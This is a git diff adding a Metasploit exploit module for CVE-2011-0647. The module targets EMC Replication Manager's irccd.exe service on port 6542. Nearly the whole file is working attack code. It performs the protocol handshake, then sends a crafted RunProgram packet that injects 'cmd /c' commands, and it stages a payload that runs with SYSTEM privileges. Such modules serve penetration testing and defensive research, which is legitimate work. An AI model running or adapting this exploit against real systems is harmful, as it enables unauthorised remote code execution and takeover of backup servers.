diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb new file mode 100644 index 0000000000..c4652d6dfc --- /dev/null +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EMC Replication Manager Command Execution', + 'Description' => %q{ + This module exploits a remote command-injection vulnerability in EMC Replication Manager + client (irccd.exe). By sending a specially crafted message invoking RunProgram function an + attacker may be able to execute arbitrary code commands with SYSTEM privileges. Affected + products are EMC Replication Manager < 5.3. This module has been successfully tested + against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft + Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested + against these products. + }, + 'Author' => + [ + 'Unknown', #Initial discovery + 'Davy Douhine' #MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2011-0647' ], + [ 'OSVDB', '70853' ], + [ 'BID', '46235' ], + [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ] + ], + 'DisclosureDate' => 'Feb 07 2011', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'Targets' => + [ + # Tested on Windows XP and Windows 2003 + [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, + 'DefaultTarget' => 0, + 'Privileged' => true + )) + + register_options( + [ + Opt::RPORT(6542) + ], self.class) + end + + def exploit + execute_cmdstager({:linemax => 5000}) + end + + def execute_command(cmd, opts) + connect + hello = "1HELLOEMC00000000000000000000000" + vprint_status("Sending hello...") + sock.put(hello) + result = sock.get_once || '' + if result =~ /RAWHELLO/ + vprint_good("Expected hello response") + else + disconnect + fail_with(Failure::Unknown ,"Failed to hello the server") + end + + start_session = "EMC_Len00000001361" + vprint_status("Starting session...") + sock.put(start_session) + result = sock.get_once || '' + if result =~ /EMC/ + vprint_good("A session has been created. Good.") + else + disconnect + fail_with(Failure::Unknown, "Failed to create the session") + end + + run_prog = " " + run_prog << "cmd /c #{cmd}" + run_prog << "<?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" " + run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" " + run_prog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; " + run_prog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1" + run_prog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0" + run_prog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1" + run_prog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;" + run_prog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1" + run_prog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0" + run_prog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&" + run_prog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path" + run_prog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300" + run_prog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;" + run_prog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339" + run_prog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message>" + run_prog << "anywriterbackup " + run_prog_header = "EMC_Len000000" + run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog + + vprint_status("Executing command....") + sock.put(run_prog_packet) + sock.get_once(-1, 1) + + end_string = Rex::Text.rand_text_alpha(rand(10)+32) + sock.put(end_string) + sock.get_once(-1, 1) + disconnect + + end +end